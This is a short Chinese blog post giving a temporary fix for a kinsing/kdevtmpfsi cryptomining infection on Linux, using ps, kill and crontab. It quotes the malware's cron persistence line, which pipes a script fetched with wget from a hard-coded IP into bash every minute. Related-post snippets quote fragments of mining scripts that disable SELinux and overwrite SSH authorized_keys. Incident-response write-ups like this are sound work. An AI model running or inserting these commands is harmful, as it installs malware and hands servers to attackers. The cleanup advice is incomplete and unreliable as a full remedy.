LINUX 挖矿临时性解决方法

缺乏、安全感 2022-11-11 05:20 171阅读 0赞

原因是：进程kill了还会出现新的进程，文件删除了还会出现新的文件，你把文件名字给他占了，他还会编译，后面加上一串31654之类的数字，恶心死了

解决方法：top

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbHlreXk_size_16_color_FFFFFF_t_70][]

执行命令：systemctl status pid号

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbHlreXk_size_16_color_FFFFFF_t_70 1][]

ps -aux|grep kinsing

ps -aux|grep kdevtmpfsi690554598

一句话直接杀杀杀！

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbHlreXk_size_16_color_FFFFFF_t_70 2][]

crontab -l

\* \* \* \* \* wget -q -O - http://195.3.146.118/sm.sh | bash > /dev/null 2>&1

crontab -r

清除了就好了

[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbHlreXk_size_16_color_FFFFFF_t_70]: /images/20221022/0ea0c02c3dfd49cc867f5fe8018a3229.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbHlreXk_size_16_color_FFFFFF_t_70 1]: /images/20221022/0f6154ff18e945758160e139ac11fe44.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbHlreXk_size_16_color_FFFFFF_t_70 2]: /images/20221022/c0f12dc3e10a4e5cab74b7518f461848.png

发表评论取消回复

表情：

评论列表（有 0 条评论，171人围观）

还没有评论，来说两句吧...

相关阅读

相关通过限制挖矿病毒cpu占用率来解决挖矿病毒,简单奏效

中了挖矿病毒尝试使用了删除病毒脚本最终无效尝试使用定时任务的方式去处理病毒,发现定时任务被锁定,会自动修改定时任务.看了好多帖子处理这个病毒很是麻烦,下面使用工具进行处

以你之姓@/ 2023年06月27日 11:13/ 0 赞/ 4 阅读

相关 ulord挖矿教程linux,Ulord如何挖矿？Ulord挖矿配置Linux和挖矿软件教程

今天介绍如何调试Ubuntu和安装挖矿软件。第二步 Ubuntu连上网络一看这标题，这不是很简单的事情吗?直接搜索WiFi信号，连上WiFi不就可以解决吗? 如果是有

快来打我*/ 2023年01月21日 08:21/ 0 赞/ 29 阅读

相关 linux挖矿木马排查

文章目录常见被挖矿的原因 1. 排查思路 1. 确定挖矿进程 2. 确定木马程序后清除木马 3. 确定受害用户

一时失言乱红尘/ 2023年01月14日 06:59/ 0 赞/ 346 阅读

相关 Linux 病毒kdevtmpfsi被挖矿的解决办法(一)

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbHlr

系统管理员/ 2023年01月10日 11:56/ 0 赞/ 248 阅读

相关阿里云服务器挖矿病毒解决方法

最近这个挖矿病毒又出现了。。。不知道为啥，公司买的服务器老是出现这样的问题，以前别的公司都没有这种情况 ![在这里插入图片描述][20210416094734446.png]

我就是我/ 2022年11月15日 12:22/ 0 赞/ 260 阅读

相关 LINUX 挖矿临时性解决方法

原因是：进程kill了还会出现新的进程，文件删除了还会出现新的文件，你把文件名字给他占了，他还会编译，后面加上一串31654之类的数字，恶心死了解决方法：top ![wa

缺乏、安全感/ 2022年11月11日 05:20/ 0 赞/ 172 阅读

相关 LINUX 挖矿脚本newdat.sh

\!/bin/sh setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/

野性酷女/ 2022年11月11日 05:19/ 0 赞/ 386 阅读

相关 Linux 病毒kdevtmpfsi被挖矿的解决办法(四) 定时脚本删除挖矿病毒脚本

\!/bin/bash chattr -ia /root/.ssh/authorized\_keys echo "自己定义rsa" > /root/.ssh/author

落日映苍穹つ/ 2022年10月29日 06:29/ 0 赞/ 291 阅读

相关 zcash挖矿

软件升级？如果你曾经在测试网络上使用过 alpha/beta/rc 等版本，请确保你的 `~/.zcash/zcash.conf` 中并没有包涵 `testnet=1`

爱被打了一巴掌/ 2022年04月03日 09:51/ 0 赞/ 986 阅读

相关挖矿程序 --- watchdogs & ksoftirqds （解决方案）

上篇：[挖矿程序 --- watchdogs & ksoftirqds （发现研究）][--- watchdogs _ ksoftirqds] 看一下上篇大家知道这个问题发生

爱被打了一巴掌/ 2022年03月18日 18:10/ 0 赞/ 355 阅读